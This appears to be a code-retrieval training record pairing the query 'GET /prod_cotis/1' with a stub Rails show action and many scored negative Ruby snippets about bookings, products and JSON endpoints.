"def should_not_overlap\n if table.reservations.where(\"time_from <= ? AND time_to > ? AND NOT id = ?\", time_from, time_from, id).count > 0\n errors.add(:time_from, \"shouldn't overlap with existing reservation\")\n end\n if table.reservations.where(\"time_from < ? AND time_to >= ? AND NOT id = ?\", time_to, time_to, id).count > 0\n errors.add(:time_from, \"shouldn't overlap with existing reservation\")\n end\n if table.reservations.where(\"time_from >= ? AND time_to <= ? AND NOT id = ?\", time_from, time_to, id).count > 0\n errors.add(:time_from, \"shouldn't overlap with existing reservation\")\n end\n end", "def validate\n\t\tif not isEmpty(self.time)\n\t\t\terrors.add(:time, \"is already occupied.\")\n\t\tend\n\t\tif not Schedule.isValidTimeSlot(self.schedule, self.time)\n\t\t\terrors.add(:time, \"is not a valid timeslot.\")\n\t\tend\n\tend", "def between?(time,start_time,end_time)\n if start_time < end_time\n time.between?(start_time,end_time)\n else\n time.between?(start_time,\"23:59\") || time.between?(\"00:00\",end_time)\n end\n end", "def validate_no_overlap_books_profile\n\n return if Booking.where('profile_id = ? AND (end_time > ? AND start_time < ?)',\n profile_id, start_time, end_time).none?\n errors.add(:start_time, 'Times overlap another girl for this book')\n end", "def test_arrival_time_validation\n batch = Batch.new(:id => 80,\n :batchid => 8,\n :date => \"#{Time.now}\",\n :eob => 30,\n :facility_id => 1,\n :arrival_time => \"#{Time.now.yesterday}\",\n :target_time => \"#{Time.now}\",\n :status => \"New\")\n batch.valid?\n assert_equal \"must be within 6 hours window period from current time\", batch.errors.on(\"arrival_time\")\n \n batch = Batch.new(:id => 80,\n :batchid => 8,\n :date => \"#{Time.now}\",\n :eob => 30,\n :facility_id => 1,\n :arrival_time => \"#{Time.now.tomorrow}\",\n :target_time => \"#{Time.now}\",\n :status => \"New\")\n batch.valid?\n assert_equal \"must be within 6 hours window period from current time\", batch.errors.on(\"arrival_time\")\n end", "def check_previous_end_time(start_of_show, end_time_of_previous_show)\n if end_time_of_previous_show != nil || end_time_of_previous_show != start_of_show\n if end_time_of_previous_show.strftime(\"%M\").include? \"15\"\n if end_time_of_previous_show == start_of_show - 15.minutes\n @shows_with_blanks << Event.new(start_date_time: end_time_of_previous_show, end_date_time: start_of_show)\n elsif end_time_of_previous_show == start_of_show - 30.minutes\n @shows_with_blanks << Event.new(start_date_time: end_time_of_previous_show, end_date_time: start_of_show)\n else\n @shows_with_blanks << Event.new(start_date_time: end_time_of_previous_show, end_date_time: end_time_of_previous_show + 45.minutes)\n end\n elsif end_time_of_previous_show.strftime(\"%M\").include? \"30\"\n if end_time_of_previous_show == start_of_show - 15.minutes\n @shows_with_blanks << Event.new(start_date_time: end_time_of_previous_show, end_date_time: start_of_show)\n else\n @shows_with_blanks << Event.new(start_date_time: end_time_of_previous_show, end_date_time: end_time_of_previous_show + 30.minutes)\n end\n elsif end_time_of_previous_show.strftime(\"%M\").include? \"45\"\n @shows_with_blanks << Event.new(start_date_time: end_time_of_previous_show, end_date_time: end_time_of_previous_show + 15.minutes)\n end\n end\n @current_time_check = @shows_with_blanks.last.end_date_time\n return @shows_with_blanks\n end", "def check_overlap\n appointments = Appointment.all\n current_start = DateTime.strptime(self.start_time,\"%m/%d/%y %H:%M\").to_time\n current_end = DateTime.strptime(self.end_time,\"%m/%d/%y %H:%M\").to_time\n\n appointments.each do |appt|\n appt_start = DateTime.strptime(appt.start_time,\"%m/%d/%y %H:%M\").to_time\n appt_end = DateTime.strptime(appt.end_time,\"%m/%d/%y %H:%M\").to_time\n\n ## if the appointment being checked is a new appointment ##\n if @new_appt\n if current_start >= appt_start && current_start <= appt_end\n @valid = false\n elsif current_end >= appt_start && current_end <= appt_end\n @valid = false\n end\n\n ## if the appointment being checked is an old appointment being updated ##\n else\n if current_start > appt_start && current_start < appt_end\n @valid = false\n elsif current_end > appt_start && current_end < appt_end\n @valid = false\n end\n end\n\n end\n @valid\n p @valid\n end", "def ensure_end_date_is_valid\n return true if end_date.blank?\n unless start_date.blank?\n return true if end_date > start_date\n end\n\n errors.add(:end_date, :invalid)\n end" ]
[ "0.8695012", "0.8549378", "0.8511056", "0.8485147", "0.84669256", "0.84273964", "0.8292079", "0.8291583", "0.8275534", "0.82208645", "0.82175106", "0.8195104", "0.8145219", "0.8094738", "0.8056562", "0.7952406", "0.79493713", "0.794894", "0.7847506", "0.7829597", "0.7771807", "0.7771807", "0.7701556", "0.7597398", "0.7597398", "0.7587011", "0.75805146", "0.7551149", "0.75381696", "0.75034386", "0.7480792", "0.74542546", "0.7379236", "0.73692", "0.7356608", "0.7331001", "0.7323108", "0.73221827", "0.73165476", "0.72798926", "0.72754776", "0.7252631", "0.7216001", "0.718423", "0.7182886", "0.71112216", "0.71016294", "0.7098412", "0.70795155", "0.7070855", "0.70343935", "0.7024214", "0.70184094", "0.7012595", "0.700965", "0.7001549", "0.7001549", "0.70004505", "0.69991744", "0.6996116", "0.69943297", "0.6992872", "0.6982759", "0.6978575", "0.6954733", "0.69461507", "0.69447243", "0.6912416", "0.6884789", "0.6880603", "0.6863053", "0.6849735", "0.6816514", "0.6814911", "0.6812434", "0.6784725", "0.67819667", "0.678023", "0.67778647", "0.6771008", "0.6764821", "0.67642605", "0.6762391", "0.6761", "0.6759293", "0.67572796", "0.67523074", "0.67471236", "0.6733862", "0.6722348", "0.6706975", "0.6703178", "0.6693192", "0.66889", "0.6686377", "0.66637546", "0.6662862", "0.66490686", "0.6642842", "0.66375923" ]
0.85964435
1
GET /prod_cotis GET /prod_cotis.json
def index @prod_cotis = ProdCoti.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @all_products = Product.all.as_json\n @all_currencies = ExchangeRateService.valid_currencies\n @base_url = Rails.env.development? ? 'http://localhost:3000' : 'http://cabifycheckout.com'\n end", "def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end", "def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end", "def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def index\n #@csosns = Csosn.all\n @csosns = Csosn.paginate(:page => params[:page], :per_page => 10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @csosns }\n end\n end", "def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end", "def index\n @coupons = Coupon.where('shop_id = ?', params[:shop_id])\n\n respond_to do |format|\n format.html { show_from_resource('index', 'shop_index') }\n format.json { render json: @coupons }\n end\n end", "def set_prod_coti\n @prod_coti = ProdCoti.find(params[:id])\n end", "def index\n @bill_cargos = @bill.bill_cargos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_cargos }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def index\n @carts_products = @cart.carts_products.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carts_products }\n end\n end", "def index\n @products = @co.products\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def show\n @csosn = Csosn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @csosn }\n end\n end", "def show\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productonegocio }\n end\n end", "def index\n @cofis = Cofi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cofis }\n end\n end", "def show\n # @ccbs_product = CcbsProduct.find(params[:id])\n\n prd_attribute = PrdAttribute.find(params[:id], :include => :products)\n product = Product.find(prd_attribute.products[0].id, :include => [:prd_subscriptions, :prd_additional_services])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ccbs_product }\n format.json {\n\n ccbs_product = CcbsProduct.new\n tariff_list = ccbs_product.set_fields(prd_attribute, product.prd_subscriptions, product.prd_additional_services)\n\n # product에 대해 전달\n results = mapping_to_hash(ccbs_product,CcbsProduct.json_mapping_table)\n ccbs_product.send_to_ccbs('POST', results.to_json)\n\n # tariff에 대해서 전달\n tariff_list.each { |product_tariff| \n to_ccbs_hash = mapping_to_hash(product_tariff, CcbsProductTariff.json_mapping_table)\n product_tariff.send_to_ccbs(\"POST\", to_ccbs_hash.to_json) }\n\n render :json => results\n } \n end\n end", "def index\n @congressos = Congresso.all\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end", "def listCon\n @opportunities = Opportunity.where(\"status = ?\", \"Publish\")\n render json: @opportunities\n end", "def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end", "def index\n @cotiz_clo_muls = CotizCloMul.all\n end", "def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end", "def show \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_product }\n end\n end", "def create\n @prod_coti = ProdCoti.new(prod_coti_params)\n\n respond_to do |format|\n if @prod_coti.save\n format.html { redirect_to @prod_coti, notice: 'Prod coti was successfully created.' }\n format.json { render :show, status: :created, location: @prod_coti }\n else\n format.html { render :new }\n format.json { render json: @prod_coti.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @cec_complaint = CecComplaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cec_complaint }\n end\n end", "def index\n @concursos = Concurso.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @concursos }\n end\n end", "def index\n if params[:site_id].nil? or params[:site_id].empty?\n @comentarios = Comentario.all # path: /types\n else\n @comentarios = Site.find(params[:site_id]).comentarios # path: /sites/id/comentarios\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @comentarios }\n end\n end", "def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end", "def index\n @tipo_products = TipoProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_products }\n end\n end", "def search\n stuff = params[:q]\n ntee_id = params[:ntee_id]\n results = Typhoeus.get(\"https://projects.propublica.org/nonprofits/api/v1/search.json\", :params => {:q => stuff, 'ntee[id]' => ntee_id })\n @nonprofit_result = JSON.parse(results.body)\n end", "def show\n @commemt = Commemt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commemt }\n end\n end", "def index\n @product_colors = ProductColor.where(\"product_type_id = ?\", params[:get_product_type_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_colors }\n end\n end", "def index\n @contracts = Contract\n .where(customer_id: @customer.id)\n .order(:created_at)\n .page params[:page]\n\n respond_to do |format|\n format.html {}\n format.js { render json: @contracts.to_json }\n format.json { render json: @contracts.to_json }\n end\n\n end", "def index\n @cryptostables = Cryptostable.all\n\n require 'uri'\n require 'net/http'\n require 'openssl'\n\n @url = \"https://pro-api.coinmarketcap.com/v1/cryptocurrency/listings/latest?CMC_PRO_API_KEY=#{ENV.fetch('CRYPTO')}&start=1&limit=500\"\n @uri = URI(@url)\n @response = Net::HTTP.get(@uri)\n @lookup_cryptos = JSON.parse(@response)\n @profit_loss = 0\n end", "def index\n @socios = Socio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @socios }\n end\n end", "def show\n @corgi = Corgi.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render json: @corgi }\n end \n end", "def getJson(url)\n\t\tencoded_url = URI.encode(\"https://cryptic-mountain-56365.herokuapp.com/api/v1\"+url)\n\t\turi = URI.parse(encoded_url)\n\t\tjson = Net::HTTP.get(uri)\n\tend", "def index\n @centro_costos = CentroCosto.all\n end", "def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end", "def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end", "def show\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cocktail }\n end\n end", "def index\n @cotacts = Cotact.all\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_development_costs }\n end\n end", "def show\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end", "def get_coins\n get(\"/getcoins\")\n end", "def index\n @cn_curves = CnCurve.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cn_curves }\n end\n end", "def all_companies_information\n\t\tbegin\n\t url = URI.parse(Rails.application.secrets[:api_endpoints]['onething']['url_company_info'])\n\t\t url_params = {}\n\t\t path = \"#{url.path}?#{url_params.collect { |k,v| \"#{k}=#{CGI::escape(v.to_s)}\"}.join('&')}\"\n\t\t request = Net::HTTP::Get.new(path) \n\t\t response = Net::HTTP.start(url.host, url.port, :use_ssl => false, :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http| \n\t\t http.request(request)\n\t\t end \n\t\t json_data = JSON.parse(response.body) rescue nil\n\t\t if !json_data.present?\n\t\t \treturn {}\n\t\t else\n\t\t return json_data\n\t\t end\n\t rescue => e\n\t \treturn {:message => 'Error in fetchng API data. Please try again.'}\t\n\t end\n\tend", "def activos\n render :json => Producto.activo.all\n end", "def view_cart\n render json: products_in_cart(false)\n end", "def show\n @cofi = Cofi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cofi }\n end\n end", "def index\n @cooperativas = Cooperativa.where(:status_id => Status.find_by_descricao('Ativo'))\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cooperativas }\n end\n end", "def index\n # Retrieve kpis templates from impac api.\n # TODO: improve request params to work for strong parameters\n attrs = params.slice('metadata', 'opts')\n auth = { username: MnoEnterprise.tenant_id, password: MnoEnterprise.tenant_key }\n\n response = begin\n MnoEnterprise::ImpacClient.send_get('/api/v2/kpis', attrs, basic_auth: auth)\n rescue => e\n return render json: { message: \"Unable to retrieve kpis from Impac API | Error #{e}\" }\n end\n\n # customise available kpis\n kpis = (response['kpis'] || []).map do |kpi|\n kpi = kpi.with_indifferent_access\n kpi[:watchables].map do |watchable|\n kpi.merge(\n name: \"#{kpi[:name]} #{watchable.capitalize unless kpi[:name].downcase.index(watchable)}\".strip,\n watchables: [watchable],\n target_placeholders: {watchable => kpi[:target_placeholders][watchable]},\n )\n end\n end\n .flatten\n\n render json: { kpis: kpis }\n end", "def index\n @products = current_company.products.order('created_at desc').page(params[:page]).per(20)\n render json: @products, meta: {total_pages: @products.total_pages, total_count: @products.total_count}\n end", "def index\n if params[:categoria_producto]\n render json: Producto.find(params[:producto_id]).categorias\n else\n\t\t @categorias = Categoria.all\n render json: @categorias\n end\n\tend", "def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end", "def show\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clonet }\n end\n end", "def index\n @costtypes = Costtype.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @costtypes }\n end\n end", "def list_tenants_for_circles(args = {}) \n get(\"/tenants.json/circles\", args)\nend", "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "def show\n @concurso = Concurso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concurso }\n end\n end", "def show\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @cocktail }\n end\n end", "def index\n @coupons = Coupon.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @coupons }\n end\n end", "def index\n @ctos = Cto.all\n end", "def index\n if params[:propietario]\n @usuario = Usuario.find(params[:usuario_id])\n authorize! :show, @usuario\n @negocios_propios = Usuario.find(params[:usuario_id]).negocios_propios\n render json: @negocios_propios,\n root: 'negocios_propios',\n each_serializer: NegocioPropioSerializer\n else\n @negocios = Negocio.all\n render json: @negocios\n end\n end", "def index\n @occasions = current_user.occasions.sorteddesc.all.paginate(page: params[:page], :per_page => 10)\n @products = Product.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @occasions }\n end\n end", "def index\n @contract_products = @contract.contract_products.page(params[:page]).order(\"no\")\n end", "def consulta_prod\n @product = Product.select('codigo_ncm,cest').where(name: params[:name]).first\n respond_to do |format|\n format.html\n format.json { render :json => @product }\n end\n #------------DEU CERTO GLORIA Á DEUS!!!-----------------------------------------------\n end", "def index\n @care_plans = CarePlan.all\n render json: @care_plans\n end", "def catalogs\n path = \"#{api_root}/index/catalogs\"\n process_api_request(:get, path)\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end", "def index\n @car = Car.find(params[:car_id])\n @lien_procedures = @car.lien_procedures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @lien_procedures }\n end\n end", "def index\n @compte_bancaires = CompteBancaire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json :@compte_bancaires }\n end\n end", "def index\n @sc_products = ScProduct.all\n\n respond_to do |format|\n format.html\n format.json { render json: @sc_products }\n format.xml { render xml: @sc_products }\n end\n end", "def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end", "def show\n @breadcrumb = 'read'\n @product = $product\n @company = $company\n @product_company_price = ProductCompanyPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @product_company_price }\n end\n end", "def index\n render json: { size: I18n.t(@order.pizza_in_progress.size || '?') , costs: con2curr( @order.pizza_in_progress.total ), items: reduced_pizza_items }.to_json, status: :ok\n end", "def index\n @cursos = Curso.all_active\n @curso = Curso.new\n @programas = Programa.all_active\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cursos }\n end\n end", "def show\n @centro_custo = CentroCusto.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @centro_custo }\n format.js\n end\n end", "def index\n @cvis = Cvi.all(:order => \"cvi_number DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cvis }\n end\n end", "def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end", "def index\n @product_cats = ProductCat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_cats }\n end\n end", "def index\n @competencies = Competency.all\n respond_to do |format|\n format.json { render json: @competencies }\n end\n end", "def index\n @coasters = Coaster.all\n\n render json: @coasters\n end", "def show\n @colegiatura = Colegiatura.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegiatura }\n end\n end", "def index\n @contato_produtos = ContatoProduto.all.sort! { |a,b| b.id <=> a.id }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contato_produtos }\n end\n end", "def get_copays\n raise InvalidVBSRequestError, request_data.errors unless request_data.valid?\n\n response = request.post('/Prod/GetStatementsByEDIPIAndVistaAccountNumber', request_data.to_hash)\n\n ResponseData.build(response: response).handle\n end", "def index\n @ccostos = Ccosto.all\n end", "def index\n @shopping_carts = ShoppingCart.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @shopping_carts }\n end\n end", "def index\n render json: { carts: current_user.carts.select(:id, :product_id, :quantity).to_json }\n end", "def commission\n get 'commission'\n end", "def index\n @commodities = Commodity.all\n\n respond_to do |format|\n format.html # index.html.erb\n @commoditis = Array.new\n format.json {\n @commodities = @commodities.select{|commodity|\n commoditi = Hash.new\n commodity.attributes.each do |key, value|\n commoditi[key] = value\n end\n commoditi[:links] = CommonActions.object_crud_paths(commodity_path(commodity), edit_commodity_path(commodity),\n commodity_path(commodity))\n @commoditis.push(commoditi)\n }\n render json: {:aaData => @commoditis}\n }\n end\n end", "def show\n\n require 'bigcommerce'\n @bigcommerce = current_user.account.bigcommerce_account\n begin\n api = Bigcommerce::Api.new({\n :store_url => @bigcommerce.store_url,\n :username => @bigcommerce.username,\n :api_key => @bigcommerce.api_key\n })\n rescue Exception => e\n redirect_to edit_bigcommerce_account_path(current_user.account.bigcommerce_account), :alert => \"API settings you have provided aren't working. Please check them.\" and return false\n end\n\n BigcommerceAccount.delay.download_data(@bigcommerce)\n\n #@test = api.get_product_images(1)\n\n redirect_to edit_user_registration_path(), :notice => \"Bigcommerce data is scheduled to be downloaded\" and return true\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bigcommerce }\n end\n end", "def index\n @projetos = Projeto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projetos }\n end\n end", "def show\n render json: @pricing\n end", "def index\n @pricings = Pricing.all\n\n render json: @pricings\n end", "def show\n @carts_product = @cart.carts_products.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @carts_product }\n end\n end", "def index\n @cfos = Cfo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cfos }\n end\n end" ]
[ "0.61314243", "0.60986084", "0.5985435", "0.59629595", "0.5894719", "0.58706814", "0.58565897", "0.5829874", "0.5815771", "0.57987326", "0.5790425", "0.579011", "0.5754944", "0.5737547", "0.57159364", "0.56977683", "0.56970215", "0.56858516", "0.567605", "0.5672296", "0.5629139", "0.56262577", "0.5621512", "0.5614486", "0.5613188", "0.5610498", "0.5609415", "0.5608129", "0.56043303", "0.5574161", "0.5570475", "0.55690956", "0.55615056", "0.5559701", "0.5554365", "0.55517334", "0.5548714", "0.55481404", "0.55436504", "0.554179", "0.55402476", "0.55379856", "0.55379856", "0.55348057", "0.5533189", "0.55274886", "0.5525206", "0.55214924", "0.5520837", "0.55200905", "0.55181295", "0.5517585", "0.55056596", "0.55027914", "0.5501502", "0.5499981", "0.5498003", "0.54930556", "0.5491495", "0.54898095", "0.54893106", "0.5489278", "0.54876685", "0.5478283", "0.5469426", "0.546757", "0.54583365", "0.54557675", "0.54556286", "0.5455463", "0.54513896", "0.5451206", "0.544982", "0.54437655", "0.54322153", "0.54274637", "0.54253405", "0.5423925", "0.5423237", "0.5422487", "0.5419884", "0.5414627", "0.5410389", "0.54075426", "0.5406064", "0.5403389", "0.54028904", "0.5395706", "0.53929967", "0.5392688", "0.539263", "0.53923935", "0.5386452", "0.5385744", "0.5385328", "0.5381678", "0.538148", "0.5380243", "0.5376117", "0.5376028" ]
0.68760175
0
GET /prod_cotis/1 GET /prod_cotis/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @prod_cotis = ProdCoti.all\n end", "def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end", "def index\n @all_products = Product.all.as_json\n @all_currencies = ExchangeRateService.valid_currencies\n @base_url = Rails.env.development? ? 'http://localhost:3000' : 'http://cabifycheckout.com'\n end", "def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end", "def set_prod_coti\n @prod_coti = ProdCoti.find(params[:id])\n end", "def show\n @contato_produto = ContatoProduto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contato_produto }\n end\n end", "def index\n if is_my_resource(params[:prossumer_id])\n @products = Product.where(prossumer_id: params[:prossumer_id]).as_json({\n cycle_id: params[:cycle_id],\n include: {\n prossumer: {\n except: [:encrypted_password, :salt, :confirm_hash]\n },\n product_category: {}\n }\n })\n render json: @products\n end\n end", "def index\n @commemts = Commemt.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commemts }\n end\n end", "def show\n @productonegocio = Productonegocio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @productonegocio }\n end\n end", "def index\n @colegios = Colegio.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @colegios }\n end\n end", "def index\n @coupons = Coupon.where('shop_id = ?', params[:shop_id])\n\n respond_to do |format|\n format.html { show_from_resource('index', 'shop_index') }\n format.json { render json: @coupons }\n end\n end", "def index\n @carts_products = @cart.carts_products.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @carts_products }\n end\n end", "def show\n @commtent1 = Commtent1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commtent1 }\n end\n end", "def index\n @products = @co.products\n end", "def index\n #@csosns = Csosn.all\n @csosns = Csosn.paginate(:page => params[:page], :per_page => 10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @csosns }\n end\n end", "def index\n @bill_cargos = @bill.bill_cargos\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bill_cargos }\n end\n end", "def show\n @csosn = Csosn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @csosn }\n end\n end", "def index\n @peticion_servicio_tis = Peticion::ServicioTi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @peticion_servicio_tis }\n end\n end", "def show\n @cec_complaint = CecComplaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cec_complaint }\n end\n end", "def show\n # @ccbs_product = CcbsProduct.find(params[:id])\n\n prd_attribute = PrdAttribute.find(params[:id], :include => :products)\n product = Product.find(prd_attribute.products[0].id, :include => [:prd_subscriptions, :prd_additional_services])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ccbs_product }\n format.json {\n\n ccbs_product = CcbsProduct.new\n tariff_list = ccbs_product.set_fields(prd_attribute, product.prd_subscriptions, product.prd_additional_services)\n\n # product에 대해 전달\n results = mapping_to_hash(ccbs_product,CcbsProduct.json_mapping_table)\n ccbs_product.send_to_ccbs('POST', results.to_json)\n\n # tariff에 대해서 전달\n tariff_list.each { |product_tariff| \n to_ccbs_hash = mapping_to_hash(product_tariff, CcbsProductTariff.json_mapping_table)\n product_tariff.send_to_ccbs(\"POST\", to_ccbs_hash.to_json) }\n\n render :json => results\n } \n end\n end", "def get_products()\n\tputs \"Getting products\"\n\tresponse = request_get(\"/api/product\")\n\tputs response.body\nend", "def index\n @product_colors = ProductColor.where(\"product_type_id = ?\", params[:get_product_type_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_colors }\n end\n end", "def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end", "def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end", "def show\n @comic = Comic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comic }\n end\n end", "def show\n @caracteristica_cartum = CaracteristicaCartum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @caracteristica_cartum }\n end\n end", "def show\n @cso = Cso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cso }\n end\n end", "def getKind\n @products = Product.where(\"kind = ?\", params[:kind]).available.PriceOrder.paginate(page: params[:page], per_page: 5)\n render json: @products\n end", "def index\n @mixproductos = Mixproducto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mixproductos }\n end\n end", "def show\n @commemt = Commemt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commemt }\n end\n end", "def show \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contract_product }\n end\n end", "def index\n @tipo_products = TipoProduct.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tipo_products }\n end\n end", "def index\n @cofis = Cofi.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cofis }\n end\n end", "def show\n @cocktail = Cocktail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cocktail }\n end\n end", "def show\n @cofi = Cofi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cofi }\n end\n end", "def show\n @produto = Produto.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @produto }\n end\n end", "def show\n @corgi = Corgi.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render json: @corgi }\n end \n end", "def show\n @breadcrumb = 'read'\n @product = $product\n @company = $company\n @product_company_price = 